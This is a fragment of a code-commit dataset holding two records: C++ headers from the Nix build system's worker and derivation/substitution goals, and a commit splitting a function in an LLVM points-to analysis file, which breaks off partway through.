tmpDirInSandbox;\n\n    \/* File descriptor for the log file. *\/\n    AutoCloseFD fdLogFile;\n    std::shared_ptr<BufferedSink> logFileSink, logSink;\n\n    \/* Number of bytes received from the builder's stdout\/stderr. *\/\n    unsigned long logSize;\n\n    \/* The most recent log lines. *\/\n    std::list<std::string> logTail;\n\n    std::string currentLogLine;\n    size_t currentLogLinePos = 0; \/\/ to handle carriage return\n\n    std::string currentHookLine;\n\n    \/* Pipe for the builder's standard output\/error. *\/\n    Pipe builderOut;\n\n    \/* Pipe for synchronising updates to the builder namespaces. *\/\n    Pipe userNamespaceSync;\n\n    \/* The mount namespace of the builder, used to add additional\n       paths to the sandbox as a result of recursive Nix calls. *\/\n    AutoCloseFD sandboxMountNamespace;\n\n    \/* On Linux, whether we're doing the build in its own user\n       namespace. *\/\n    bool usingUserNamespace = true;\n\n    \/* The build hook. *\/\n    std::unique_ptr<HookInstance> hook;\n\n    \/* Whether we're currently doing a chroot build. *\/\n    bool useChroot = false;\n\n    Path chrootRootDir;\n\n    \/* RAII object to delete the chroot directory. *\/\n    std::shared_ptr<AutoDelete> autoDelChroot;\n\n    \/* The sort of derivation we are building. *\/\n    DerivationType derivationType;\n\n    \/* Whether to run the build in a private network namespace. *\/\n    bool privateNetwork = false;\n\n    typedef void (DerivationGoal::*GoalState)();\n    GoalState state;\n\n    \/* Stuff we need to pass to initChild(). *\/\n    struct ChrootPath {\n        Path source;\n        bool optional;\n        ChrootPath(Path source = \"\", bool optional = false)\n            : source(source), optional(optional)\n        { }\n    };\n    typedef map<Path, ChrootPath> DirsInChroot; \/\/ maps target path to source path\n    DirsInChroot dirsInChroot;\n\n    typedef map<string, string> Environment;\n    Environment env;\n\n#if __APPLE__\n    typedef string SandboxProfile;\n    SandboxProfile additionalSandboxProfile;\n#endif\n\n    \/* Hash rewriting. *\/\n    StringMap inputRewrites, outputRewrites;\n    typedef map<StorePath, StorePath> RedirectedOutputs;\n    RedirectedOutputs redirectedOutputs;\n\n    \/* The outputs paths used during the build.\n\n       - Input-addressed derivations or fixed content-addressed outputs are\n         sometimes built when some of their outputs already exist, and can not\n         be hidden via sandboxing. We use temporary locations instead and\n         rewrite after the build. Otherwise the regular predetermined paths are\n         put here.\n\n       - Floating content-addressed derivations do not know their final build\n         output paths until the outputs are hashed, so random locations are\n         used, and then renamed. The randomness helps guard against hidden\n         self-references.\n     *\/\n    OutputPathMap scratchOutputs;\n\n    \/* The final output paths of the build.\n\n       - For input-addressed derivations, always the precomputed paths\n\n       - For content-addressed derivations, calcuated from whatever the hash\n         ends up being. (Note that fixed outputs derivations that produce the\n         \"wrong\" output still install that data under its true content-address.)\n     *\/\n    OutputPathMap finalOutputs;\n\n    BuildMode buildMode;\n\n    \/* If we're repairing without a chroot, there may be outputs that\n       are valid but corrupt.  So we redirect these outputs to\n       temporary paths. *\/\n    StorePathSet redirectedBadOutputs;\n\n    BuildResult result;\n\n    \/* The current round, if we're building multiple times. *\/\n    size_t curRound = 1;\n\n    size_t nrRounds;\n\n    \/* Path registration info from the previous round, if we're\n       building multiple times. Since this contains the hash, it\n       allows us to compare whether two rounds produced the same\n       result. *\/\n    std::map<Path, ValidPathInfo> prevInfos;\n\n    uid_t sandboxUid() { return usingUserNamespace ? 1000 : buildUser->getUID(); }\n    gid_t sandboxGid() { return usingUserNamespace ?  100 : buildUser->getGID(); }\n\n    const static Path homeDir;\n\n    std::unique_ptr<MaintainCount<uint64_t>> mcExpectedBuilds, mcRunningBuilds;\n\n    std::unique_ptr<Activity> act;\n\n    \/* Activity that denotes waiting for a lock. *\/\n    std::unique_ptr<Activity> actLock;\n\n    std::map<ActivityId, Activity> builderActivities;\n\n    \/* The remote machine on which we're building. *\/\n    std::string machineName;\n\n    \/* The recursive Nix daemon socket. *\/\n    AutoCloseFD daemonSocket;\n\n    \/* The daemon main thread. *\/\n    std::thread daemonThread;\n\n    \/* The daemon worker threads. *\/\n    std::vector<std::thread> daemonWorkerThreads;\n\n    \/* Paths that were added via recursive Nix calls. *\/\n    StorePathSet addedPaths;\n\n    \/* Recursive Nix calls are only allowed to build or realize paths\n       in the original input closure or added via a recursive Nix call\n       (so e.g. you can't do 'nix-store -r \/nix\/store\/<bla>' where\n       \/nix\/store\/<bla> is some arbitrary path in a binary cache). *\/\n    bool isAllowed(const StorePath & path)\n    {\n        return inputPaths.count(path) || addedPaths.count(path);\n    }\n\n    friend struct RestrictedStore;\n\npublic:\n    DerivationGoal(const StorePath & drvPath,\n        const StringSet & wantedOutputs, Worker & worker,\n        BuildMode buildMode = bmNormal);\n    DerivationGoal(const StorePath & drvPath, const BasicDerivation & drv,\n        const StringSet & wantedOutputs, Worker & worker,\n        BuildMode buildMode = bmNormal);\n    ~DerivationGoal();\n\n    \/* Whether we need to perform hash rewriting if there are valid output paths. *\/\n    bool needsHashRewrite();\n\n    void timedOut(Error && ex) override;\n\n    string key() override\n    {\n        \/* Ensure that derivations get built in order of their name,\n           i.e. a derivation named \"aardvark\" always comes before\n           \"baboon\". And substitution goals always happen before\n           derivation goals (due to \"b$\"). *\/\n        return \"b$\" + std::string(drvPath.name()) + \"$\" + worker.store.printStorePath(drvPath);\n    }\n\n    void work() override;\n\n    StorePath getDrvPath()\n    {\n        return drvPath;\n    }\n\n    \/* Add wanted outputs to an already existing derivation goal. *\/\n    void addWantedOutputs(const StringSet & outputs);\n\n    BuildResult getResult() { return result; }\n\nprivate:\n    \/* The states. *\/\n    void getDerivation();\n    void loadDerivation();\n    void haveDerivation();\n    void outputsSubstitutionTried();\n    void gaveUpOnSubstitution();\n    void closureRepaired();\n    void inputsRealised();\n    void tryToBuild();\n    void tryLocalBuild();\n    void buildDone();\n\n    void resolvedFinished();\n\n    \/* Is the build hook willing to perform the build? *\/\n    HookReply tryBuildHook();\n\n    \/* Start building a derivation. *\/\n    void startBuilder();\n\n    \/* Fill in the environment for the builder. *\/\n    void initEnv();\n\n    \/* Setup tmp dir location. *\/\n    void initTmpDir();\n\n    \/* Write a JSON file containing the derivation attributes. *\/\n    void writeStructuredAttrs();\n\n    void startDaemon();\n\n    void stopDaemon();\n\n    \/* Add 'path' to the set of paths that may be referenced by the\n       outputs, and make it appear in the sandbox. *\/\n    void addDependency(const StorePath & path);\n\n    \/* Make a file owned by the builder. *\/\n    void chownToBuilder(const Path & path);\n\n    \/* Run the builder's process. *\/\n    void runChild();\n\n    friend int childEntry(void *);\n\n    \/* Check that the derivation outputs all exist and register them\n       as valid. *\/\n    void registerOutputs();\n\n    \/* Check that an output meets the requirements specified by the\n       'outputChecks' attribute (or the legacy\n       '{allowed,disallowed}{References,Requisites}' attributes). *\/\n    void checkOutputs(const std::map<std::string, ValidPathInfo> & outputs);\n\n    \/* Open a log file and a pipe to it. *\/\n    Path openLogFile();\n\n    \/* Close the log file. *\/\n    void closeLogFile();\n\n    \/* Delete the temporary directory, if we have one. *\/\n    void deleteTmpDir(bool force);\n\n    \/* Callback used by the worker to write to the log. *\/\n    void handleChildOutput(int fd, const string & data) override;\n    void handleEOF(int fd) override;\n    void flushLine();\n\n    \/* Wrappers around the corresponding Store methods that first consult the\n       derivation.  This is currently needed because when there is no drv file\n       there also is no DB entry. *\/\n    std::map<std::string, std::optional<StorePath>> queryPartialDerivationOutputMap();\n    OutputPathMap queryDerivationOutputMap();\n\n    \/* Return the set of (in)valid paths. *\/\n    void checkPathValidity();\n\n    \/* Forcibly kill the child process, if any. *\/\n    void killChild();\n\n    \/* Create alternative path calculated from but distinct from the\n       input, so we can avoid overwriting outputs (or other store paths)\n       that already exist. *\/\n    StorePath makeFallbackPath(const StorePath & path);\n    \/* Make a path to another based on the output name along with the\n       derivation hash. *\/\n    \/* FIXME add option to randomize, so we can audit whether our\n       rewrites caught everything *\/\n    StorePath makeFallbackPath(std::string_view outputName);\n\n    void repairClosure();\n\n    void started();\n\n    void done(\n        BuildResult::Status status,\n        std::optional<Error> ex = {});\n\n    StorePathSet exportReferences(const StorePathSet & storePaths);\n};\n\nclass SubstitutionGoal : public Goal\n{\n    friend class Worker;\n\nprivate:\n    \/* The store path that should be realised through a substitute. *\/\n    StorePath storePath;\n\n    \/* The path the substituter refers to the path as. This will be\n     * different when the stores have different names. *\/\n    std::optional<StorePath> subPath;\n\n    \/* The remaining substituters. *\/\n    std::list<ref<Store>> subs;\n\n    \/* The current substituter. *\/\n    std::shared_ptr<Store> sub;\n\n    \/* Whether a substituter failed. *\/\n    bool substituterFailed = false;\n\n    \/* Path info returned by the substituter's query info operation. *\/\n    std::shared_ptr<const ValidPathInfo> info;\n\n    \/* Pipe for the substituter's standard output. *\/\n    Pipe outPipe;\n\n    \/* The substituter thread. *\/\n    std::thread thr;\n\n    std::promise<void> promise;\n\n    \/* Whether to try to repair a valid path. *\/\n    RepairFlag repair;\n\n    \/* Location where we're downloading the substitute.  Differs from\n       storePath when doing a repair. *\/\n    Path destPath;\n\n    std::unique_ptr<MaintainCount<uint64_t>> maintainExpectedSubstitutions,\n        maintainRunningSubstitutions, maintainExpectedNar, maintainExpectedDownload;\n\n    typedef void (SubstitutionGoal::*GoalState)();\n    GoalState state;\n\n    \/* Content address for recomputing store path *\/\n    std::optional<ContentAddress> ca;\n\npublic:\n    SubstitutionGoal(const StorePath & storePath, Worker & worker, RepairFlag repair = NoRepair, std::optional<ContentAddress> ca = std::nullopt);\n    ~SubstitutionGoal();\n\n    void timedOut(Error && ex) override { abort(); };\n\n    string key() override\n    {\n        \/* \"a$\" ensures substitution goals happen before derivation\n           goals. *\/\n        return \"a$\" + std::string(storePath.name()) + \"$\" + worker.store.printStorePath(storePath);\n    }\n\n    void work() override;\n\n    \/* The states. *\/\n    void init();\n    void tryNext();\n    void gotInfo();\n    void referencesValid();\n    void tryToRun();\n    void finished();\n\n    \/* Callback used by the worker to write to the log. *\/\n    void handleChildOutput(int fd, const string & data) override;\n    void handleEOF(int fd) override;\n\n    StorePath getStorePath() { return storePath; }\n};\n\nstruct HookInstance\n{\n    \/* Pipes for talking to the build hook. *\/\n    Pipe toHook;\n\n    \/* Pipe for the hook's standard output\/error. *\/\n    Pipe fromHook;\n\n    \/* Pipe for the builder's standard output\/error. *\/\n    Pipe builderOut;\n\n    \/* The process ID of the hook. *\/\n    Pid pid;\n\n    FdSink sink;\n\n    std::map<ActivityId, Activity> activities;\n\n    HookInstance();\n\n    ~HookInstance();\n};\n\n\nvoid addToWeakGoals(WeakGoals & goals, GoalPtr p);\n\n}\n<commit_msg>Trim worker.hh<commit_after>#pragma once\n\n#include \"types.hh\"\n#include \"lock.hh\"\n#include \"local-store.hh\"\n#include \"goal.hh\"\n\nnamespace nix {\n\n\/* Forward definition. *\/\nclass DerivationGoal;\n\ntypedef std::chrono::time_point<std::chrono::steady_clock> steady_time_point;\n\n\n\/* A mapping used to remember for each child process to what goal it\n   belongs, and file descriptors for receiving log data and output\n   path creation commands. *\/\nstruct Child\n{\n    WeakGoalPtr goal;\n    Goal * goal2; \/\/ ugly hackery\n    set<int> fds;\n    bool respectTimeouts;\n    bool inBuildSlot;\n    steady_time_point lastOutput; \/* time we last got output on stdout\/stderr *\/\n    steady_time_point timeStarted;\n};\n\n\/* Forward definition. *\/\nstruct HookInstance;\n\n\/* The worker class. *\/\nclass Worker\n{\nprivate:\n\n    \/* Note: the worker should only have strong pointers to the\n       top-level goals. *\/\n\n    \/* The top-level goals of the worker. *\/\n    Goals topGoals;\n\n    \/* Goals that are ready to do some work. *\/\n    WeakGoals awake;\n\n    \/* Goals waiting for a build slot. *\/\n    WeakGoals wantingToBuild;\n\n    \/* Child processes currently running. *\/\n    std::list<Child> children;\n\n    \/* Number of build slots occupied.  This includes local builds and\n       substitutions but not remote builds via the build hook. *\/\n    unsigned int nrLocalBuilds;\n\n    \/* Maps used to prevent multiple instantiations of a goal for the\n       same derivation \/ path. *\/\n    WeakGoalMap derivationGoals;\n    WeakGoalMap substitutionGoals;\n\n    \/* Goals waiting for busy paths to be unlocked. *\/\n    WeakGoals waitingForAnyGoal;\n\n    \/* Goals sleeping for a few seconds (polling a lock). *\/\n    WeakGoals waitingForAWhile;\n\n    \/* Last time the goals in `waitingForAWhile' where woken up. *\/\n    steady_time_point lastWokenUp;\n\n    \/* Cache for pathContentsGood(). *\/\n    std::map<StorePath, bool> pathContentsGoodCache;\n\npublic:\n\n    const Activity act;\n    const Activity actDerivations;\n    const Activity actSubstitutions;\n\n    \/* Set if at least one derivation had a BuildError (i.e. permanent\n       failure). *\/\n    bool permanentFailure;\n\n    \/* Set if at least one derivation had a timeout. *\/\n    bool timedOut;\n\n    \/* Set if at least one derivation fails with a hash mismatch. *\/\n    bool hashMismatch;\n\n    \/* Set if at least one derivation is not deterministic in check mode. *\/\n    bool checkMismatch;\n\n    LocalStore & store;\n\n    std::unique_ptr<HookInstance> hook;\n\n    uint64_t expectedBuilds = 0;\n    uint64_t doneBuilds = 0;\n    uint64_t failedBuilds = 0;\n    uint64_t runningBuilds = 0;\n\n    uint64_t expectedSubstitutions = 0;\n    uint64_t doneSubstitutions = 0;\n    uint64_t failedSubstitutions = 0;\n    uint64_t runningSubstitutions = 0;\n    uint64_t expectedDownloadSize = 0;\n    uint64_t doneDownloadSize = 0;\n    uint64_t expectedNarSize = 0;\n    uint64_t doneNarSize = 0;\n\n    \/* Whether to ask the build hook if it can build a derivation. If\n       it answers with \"decline-permanently\", we don't try again. *\/\n    bool tryBuildHook = true;\n\n    Worker(LocalStore & store);\n    ~Worker();\n\n    \/* Make a goal (with caching). *\/\n\n    \/* derivation goal *\/\nprivate:\n    std::shared_ptr<DerivationGoal> makeDerivationGoalCommon(\n        const StorePath & drvPath, const StringSet & wantedOutputs,\n        std::function<std::shared_ptr<DerivationGoal>()> mkDrvGoal);\npublic:\n    std::shared_ptr<DerivationGoal> makeDerivationGoal(\n        const StorePath & drvPath,\n        const StringSet & wantedOutputs, BuildMode buildMode = bmNormal);\n    std::shared_ptr<DerivationGoal> makeBasicDerivationGoal(\n        const StorePath & drvPath, const BasicDerivation & drv,\n        const StringSet & wantedOutputs, BuildMode buildMode = bmNormal);\n\n    \/* substitution goal *\/\n    GoalPtr makeSubstitutionGoal(const StorePath & storePath, RepairFlag repair = NoRepair, std::optional<ContentAddress> ca = std::nullopt);\n\n    \/* Remove a dead goal. *\/\n    void removeGoal(GoalPtr goal);\n\n    \/* Wake up a goal (i.e., there is something for it to do). *\/\n    void wakeUp(GoalPtr goal);\n\n    \/* Return the number of local build and substitution processes\n       currently running (but not remote builds via the build\n       hook). *\/\n    unsigned int getNrLocalBuilds();\n\n    \/* Registers a running child process.  `inBuildSlot' means that\n       the process counts towards the jobs limit. *\/\n    void childStarted(GoalPtr goal, const set<int> & fds,\n        bool inBuildSlot, bool respectTimeouts);\n\n    \/* Unregisters a running child process.  `wakeSleepers' should be\n       false if there is no sense in waking up goals that are sleeping\n       because they can't run yet (e.g., there is no free build slot,\n       or the hook would still say `postpone'). *\/\n    void childTerminated(Goal * goal, bool wakeSleepers = true);\n\n    \/* Put `goal' to sleep until a build slot becomes available (which\n       might be right away). *\/\n    void waitForBuildSlot(GoalPtr goal);\n\n    \/* Wait for any goal to finish.  Pretty indiscriminate way to\n       wait for some resource that some other goal is holding. *\/\n    void waitForAnyGoal(GoalPtr goal);\n\n    \/* Wait for a few seconds and then retry this goal.  Used when\n       waiting for a lock held by another process.  This kind of\n       polling is inefficient, but POSIX doesn't really provide a way\n       to wait for multiple locks in the main select() loop. *\/\n    void waitForAWhile(GoalPtr goal);\n\n    \/* Loop until the specified top-level goals have finished. *\/\n    void run(const Goals & topGoals);\n\n    \/* Wait for input to become available. *\/\n    void waitForInput();\n\n    unsigned int exitStatus();\n\n    \/* Check whether the given valid path exists and has the right\n       contents. *\/\n    bool pathContentsGood(const StorePath & path);\n\n    void markContentsGood(const StorePath & path);\n\n    void updateProgress()\n    {\n        actDerivations.progress(doneBuilds, expectedBuilds + doneBuilds, runningBuilds, failedBuilds);\n        actSubstitutions.progress(doneSubstitutions, expectedSubstitutions + doneSubstitutions, runningSubstitutions, failedSubstitutions);\n        act.setExpected(actFileTransfer, expectedDownloadSize + doneDownloadSize);\n        act.setExpected(actCopyPath, expectedNarSize + doneNarSize);\n    }\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <map>\n\n#include <llvm\/IR\/Value.h>\n#include <llvm\/IR\/Module.h>\n#include <llvm\/IR\/Constants.h>\n#include <llvm\/IR\/DataLayout.h>\n#include <llvm\/Support\/raw_ostream.h>\n\n#include \"AnalysisGeneric.h\"\n#include \"LLVMDependenceGraph.h\"\n#include \"PointsTo.h\"\n\nusing namespace llvm;\n\nnamespace dg {\nnamespace analysis {\n\n\/\/ we assume that if the program uses inttoptr, it access this\n\/\/ memory only this way - so every access to this memory is done\n\/\/ via some inttoptr. Here we store the inttoptr objects\nstatic std::map<uint64_t, LLVMNode *> intToPtrMap;\n\n\/\/ pointer points to unknown memory location\nMemoryObj UnknownMemoryObject(nullptr);\n\/\/ unknown pointer value\nPointer UnknownMemoryLocation(&UnknownMemoryObject, 0);\n\nbool Pointer::isUnknown() const\n{\n    return this == &UnknownMemoryLocation;\n}\n\nbool Pointer::pointsToUnknown() const\n{\n    assert(obj && \"Pointer has not any memory object set\");\n    return obj->isUnknown();\n}\n\nbool Pointer::isKnown() const\n{\n    return !isUnknown() && !pointsToUnknown();\n}\n\nbool MemoryObj::isUnknown() const\n{\n    return this == &UnknownMemoryObject;\n}\n\nstatic LLVMNode *createNodeWithMemAlloc(const Value *val)\n{\n    LLVMNode *n = new LLVMNode(val);\n    MemoryObj *&mo = n->getMemoryObj();\n    mo = new MemoryObj(n);\n    n->addPointsTo(Pointer(mo));\n\n    return n;\n}\n\nstatic LLVMNode *getOrCreateNode(LLVMDependenceGraph *dg, const Value *val)\n{\n    LLVMNode *n = dg->getNode(val);\n    if (n)\n        return n;\n\n    if (llvm::isa<llvm::Function>(val)) {\n        n = createNodeWithMemAlloc(val);\n    } else\n        errs() << \"ERR: unhandled not to create \" << *val << \"\\n\";\n\n    return n;\n}\n\nstatic Pointer handleConstantBitCast(LLVMDependenceGraph *dg, const BitCastInst *BC)\n{\n    if (!BC->isLosslessCast()) {\n        errs() << \"WARN: Not a loss less cast unhandled ConstExpr\"\n               << *BC << \"\\n\";\n        return UnknownMemoryLocation;\n    }\n\n    const Value *llvmOp = BC->stripPointerCasts();\n    LLVMNode *op = getOrCreateNode(dg, llvmOp);\n    if (!op) {\n        errs() << \"ERR: unsupported BitCast constant operand\" << *BC << \"\\n\";\n    } else {\n        PointsToSetT& ptset = op->getPointsTo();\n        if (ptset.size() != 1) {\n            errs() << \"ERR: constant BitCast with not only one pointer \"\n                   << *BC << \"\\n\";\n        } else\n            return *ptset.begin();\n    }\n\n    return UnknownMemoryLocation;\n}\n\nstatic inline unsigned getPointerBitwidth(const DataLayout *DL, const Value *ptr)\n{\n    const Type *Ty = ptr->getType();\n    return DL->getPointerSizeInBits(Ty->getPointerAddressSpace());\n}\n\nstatic Pointer handleConstantGep(LLVMDependenceGraph *dg,\n                                 const GetElementPtrInst *GEP,\n                                 const llvm::DataLayout *DL)\n{\n    const Value *op = GEP->getPointerOperand();\n    LLVMNode *opNode = dg->getNode(op);\n\n    \/\/ FIXME this is sound, but may be unprecise\n    \/\/  - we should use getOperand for getting opNode,\n    \/\/  becaues we can have ConstantExpr inserted in ConstantExpr\n    \/\/  (getelementptr (inttoptr ..) ...), so we can get null here\n    \/\/  as opNode\n    if (!opNode) {\n        errs() << \"No node for Constant GEP operand: \" << *GEP << \"\\n\";\n        return UnknownMemoryLocation;\n    }\n\n    PointsToSetT& S = opNode->getPointsTo();\n    \/\/ since this is constant expr, there's no way how we could\n    \/\/ get extra points-to binding in runtime\n    assert(S.size() == 1);\n    MemoryObj *mo = (*S.begin()).obj;\n    if (!mo) {\n        errs() << \"ERR: no memory object in \" << *opNode->getKey() << \"\\n\";\n        return UnknownMemoryLocation;\n    }\n\n    Pointer pointer(mo, UNKNOWN_OFFSET);\n    unsigned bitwidth = getPointerBitwidth(DL, op);\n    APInt offset(bitwidth, 0);\n\n    if (GEP->accumulateConstantOffset(*DL, offset)) {\n        if (offset.isIntN(bitwidth))\n            pointer.offset = offset.getZExtValue();\n        else\n            errs() << \"WARN: Offset greater than \"\n                   << bitwidth << \"-bit\" << *GEP << \"\\n\";\n    }\n    \/\/ else offset is set to UNKNOWN (in constructor)\n\n    return pointer;\n}\n\nPointer getConstantExprPointer(const ConstantExpr *CE,\n                               LLVMDependenceGraph *dg,\n                               const llvm::DataLayout *DL)\n{\n    Pointer pointer = UnknownMemoryLocation;\n\n    const Instruction *Inst = const_cast<ConstantExpr*>(CE)->getAsInstruction();\n    if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(Inst)) {\n        pointer = handleConstantGep(dg, GEP, DL);\n    } else if (const BitCastInst *BC = dyn_cast<BitCastInst>(Inst)) {\n        pointer = handleConstantBitCast(dg, BC);\n    } else {\n            errs() << \"ERR: Unsupported ConstantExpr \" << *CE << \"\\n\";\n            errs() << \"      ^^ returning unknown pointer\\n\";\n    }\n\n    delete Inst;\n    return pointer;\n}\n\nstatic LLVMNode *getConstantIntToPtrNode(const ConstantExpr *CE,\n                                         const llvm::DataLayout *DL)\n{\n    using namespace llvm;\n\n    const Value *val = CE->getOperand(0);\n    if (!isa<ConstantInt>(val)) {\n        errs() << \"Unhandled constant inttoptr \" << *CE << \"\\n\";\n        abort();\n    }\n\n    const ConstantInt *C = cast<ConstantInt>(val);\n    uint64_t value = C->getLimitedValue();\n\n    LLVMNode *&node = intToPtrMap[value];\n    if (!node) {\n        node = new LLVMNode(C);\n        const Value *dest = CE->getOperand(1);\n        Type *Ty = dest->getType()->getContainedType(0);\n        uint64_t size = 0;\n        if (Ty->isSized())\n            size = DL->getTypeAllocSize(Ty);\n\n        MemoryObj *&mo = node->getMemoryObj();\n        mo = new MemoryObj(node, size);\n        node->addPointsTo(mo);\n    }\n\n    return node;\n}\n\nstatic LLVMNode *getConstantExprNode(const llvm::ConstantExpr *CE,\n                                     LLVMDependenceGraph *dg,\n                                     const llvm::DataLayout *DL)\n{\n    \/\/ we have these nodes stored\n    if (isa<IntToPtrInst>(CE))\n        return getConstantIntToPtrNode(CE, DL);\n\n\n    \/\/ FIXME add these nodes somewhere,\n    \/\/ so that we can delete them later\n    LLVMNode *node = new LLVMNode(CE);\n\n    \/\/ set points-to sets\n    Pointer ptr = getConstantExprPointer(CE, dg, DL);\n    node->addPointsTo(ptr);\n\n    return node;\n}\n\n\/*\n * we have DependenceGraph::getNode() which retrives existing node.\n * The operand nodes may not exists, though.\n * This function gets the existing node, or creates new one and sets\n * it as an operand.\n *\/\nLLVMNode *getOperand(LLVMNode *node, const llvm::Value *val,\n                     unsigned int idx, const llvm::DataLayout *DL)\n{\n    \/\/ ok, before calling this we call llvm::Value::getOperand() to get val\n    \/\/ and in node->getOperand() we call it too. It is small overhead, but just\n    \/\/ to know where to optimize when going to extrems\n\n    LLVMNode *op = node->getOperand(idx);\n    if (op)\n        return op;\n\n    using namespace llvm;\n    LLVMDependenceGraph *dg = node->getDG();\n\n    if (const ConstantExpr *CE = dyn_cast<ConstantExpr>(val)) {\n        op = getConstantExprNode(CE, dg, DL);\n    } else if (isa<Function>(val)) {\n        \/\/ if the function was created via function pointer during\n        \/\/ points-to analysis, the operand may not be not be set.\n        \/\/ What is worse, the function may not be created either,\n        \/\/ so the node just may not exists at all, so we need to\n        \/\/ create it\n        op = getOrCreateNode(dg, val);\n    } else if (isa<ConstantPointerNull>(val)) {\n        \/\/ what to do with nullptr?\n        op = createNodeWithMemAlloc(val);\n    } else {\n        errs() << \"ERR: Unsupported operand: \" << *val << \"\\n\";\n        abort();\n    }\n\n    assert(op && \"Did not set op\");\n\n    \/\/ set new operand\n    node->setOperand(op, idx);\n\n    return op;\n}\n\n} \/\/ namespace analysis\n} \/\/ namespace dg\n\n\n<commit_msg>analysis generic: split getOperand into two functions<commit_after>#include <map>\n\n#include <llvm\/IR\/Value.h>\n#include <llvm\/IR\/Module.h>\n#include <llvm\/IR\/Constants.h>\n#include <llvm\/IR\/DataLayout.h>\n#include <llvm\/Support\/raw_ostream.h>\n\n#include \"AnalysisGeneric.h\"\n#include \"LLVMDependenceGraph.h\"\n#include \"PointsTo.h\"\n\nusing namespace llvm;\n\nnamespace dg {\nnamespace analysis {\n\n\/\/ we assume that if the program uses inttoptr, it access this\n\/\/ memory only this way - so every access to this memory is done\n\/\/ via some inttoptr. Here we store the inttoptr objects\nstatic std::map<uint64_t, LLVMNode *> intToPtrMap;\n\n\/\/ pointer points to unknown memory location\nMemoryObj UnknownMemoryObject(nullptr);\n\/\/ unknown pointer value\nPointer UnknownMemoryLocation(&UnknownMemoryObject, 0);\n\nbool Pointer::isUnknown() const\n{\n    return this == &UnknownMemoryLocation;\n}\n\nbool Pointer::pointsToUnknown() const\n{\n    assert(obj && \"Pointer has not any memory object set\");\n    return obj->isUnknown();\n}\n\nbool Pointer::isKnown() const\n{\n    return !isUnknown() && !pointsToUnknown();\n}\n\nbool MemoryObj::isUnknown() const\n{\n    return this == &UnknownMemoryObject;\n}\n\nstatic LLVMNode *createNodeWithMemAlloc(const Value *val)\n{\n    LLVMNode *n = new LLVMNode(val);\n    MemoryObj *&mo = n->getMemoryObj();\n    mo = new MemoryObj(n);\n    n->addPointsTo(Pointer(mo));\n\n    return n;\n}\n\nstatic LLVMNode *getOrCreateNode(LLVMDependenceGraph *dg, const Value *val)\n{\n    LLVMNode *n = dg->getNode(val);\n    if (n)\n        return n;\n\n    if (llvm::isa<llvm::Function>(val)) {\n        n = createNodeWithMemAlloc(val);\n    } else\n        errs() << \"ERR: unhandled not to create \" << *val << \"\\n\";\n\n    return n;\n}\n\nstatic Pointer handleConstantBitCast(LLVMDependenceGraph *dg, const BitCastInst *BC)\n{\n    if (!BC->isLosslessCast()) {\n        errs() << \"WARN: Not a loss less cast unhandled ConstExpr\"\n               << *BC << \"\\n\";\n        return UnknownMemoryLocation;\n    }\n\n    const Value *llvmOp = BC->stripPointerCasts();\n    LLVMNode *op = getOrCreateNode(dg, llvmOp);\n    if (!op) {\n        errs() << \"ERR: unsupported BitCast constant operand\" << *BC << \"\\n\";\n    } else {\n        PointsToSetT& ptset = op->getPointsTo();\n        if (ptset.size() != 1) {\n            errs() << \"ERR: constant BitCast with not only one pointer \"\n                   << *BC << \"\\n\";\n        } else\n            return *ptset.begin();\n    }\n\n    return UnknownMemoryLocation;\n}\n\nstatic inline unsigned getPointerBitwidth(const DataLayout *DL, const Value *ptr)\n{\n    const Type *Ty = ptr->getType();\n    return DL->getPointerSizeInBits(Ty->getPointerAddressSpace());\n}\n\nstatic Pointer handleConstantGep(LLVMDependenceGraph *dg,\n                                 const GetElementPtrInst *GEP,\n                                 const llvm::DataLayout *DL)\n{\n    const Value *op = GEP->getPointerOperand();\n    LLVMNode *opNode = dg->getNode(op);\n\n    \/\/ FIXME this is sound, but may be unprecise\n    \/\/  - we should use getOperand for getting opNode,\n    \/\/  becaues we can have ConstantExpr inserted in ConstantExpr\n    \/\/  (getelementptr (inttoptr ..) ...), so we can get null here\n    \/\/  as opNode\n    if (!opNode) {\n        errs() << \"No node for Constant GEP operand: \" << *GEP << \"\\n\";\n        return UnknownMemoryLocation;\n    }\n\n    PointsToSetT& S = opNode->getPointsTo();\n    \/\/ since this is constant expr, there's no way how we could\n    \/\/ get extra points-to binding in runtime\n    assert(S.size() == 1);\n    MemoryObj *mo = (*S.begin()).obj;\n    if (!mo) {\n        errs() << \"ERR: no memory object in \" << *opNode->getKey() << \"\\n\";\n        return UnknownMemoryLocation;\n    }\n\n    Pointer pointer(mo, UNKNOWN_OFFSET);\n    unsigned bitwidth = getPointerBitwidth(DL, op);\n    APInt offset(bitwidth, 0);\n\n    if (GEP->accumulateConstantOffset(*DL, offset)) {\n        if (offset.isIntN(bitwidth))\n            pointer.offset = offset.getZExtValue();\n        else\n            errs() << \"WARN: Offset greater than \"\n                   << bitwidth << \"-bit\" << *GEP << \"\\n\";\n    }\n    \/\/ else offset is set to UNKNOWN (in constructor)\n\n    return pointer;\n}\n\nPointer getConstantExprPointer(const ConstantExpr *CE,\n                               LLVMDependenceGraph *dg,\n                               const llvm::DataLayout *DL)\n{\n    Pointer pointer = UnknownMemoryLocation;\n\n    const Instruction *Inst = const_cast<ConstantExpr*>(CE)->getAsInstruction();\n    if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(Inst)) {\n        pointer = handleConstantGep(dg, GEP, DL);\n    } else if (const BitCastInst *BC = dyn_cast<BitCastInst>(Inst)) {\n        pointer = handleConstantBitCast(dg, BC);\n    } else {\n            errs() << \"ERR: Unsupported ConstantExpr \" << *CE << \"\\n\";\n            errs() << \"      ^^ returning unknown pointer\\n\";\n    }\n\n    delete Inst;\n    return pointer;\n}\n\nstatic LLVMNode *getConstantIntToPtrNode(const ConstantExpr *CE,\n                                         const llvm::DataLayout *DL)\n{\n    using namespace llvm;\n\n    const Value *val = CE->getOperand(0);\n    if (!isa<ConstantInt>(val)) {\n        errs() << \"Unhandled constant inttoptr \" << *CE << \"\\n\";\n        abort();\n    }\n\n    const ConstantInt *C = cast<ConstantInt>(val);\n    uint64_t value = C->getLimitedValue();\n\n    LLVMNode *&node = intToPtrMap[value];\n    if (!node) {\n        node = new LLVMNode(C);\n        const Value *dest = CE->getOperand(1);\n        Type *Ty = dest->getType()->getContainedType(0);\n        uint64_t size = 0;\n        if (Ty->isSized())\n            size = DL->getTypeAllocSize(Ty);\n\n        MemoryObj *&mo = node->getMemoryObj();\n        mo = new MemoryObj(node, size);\n        node->addPointsTo(mo);\n    }\n\n    return 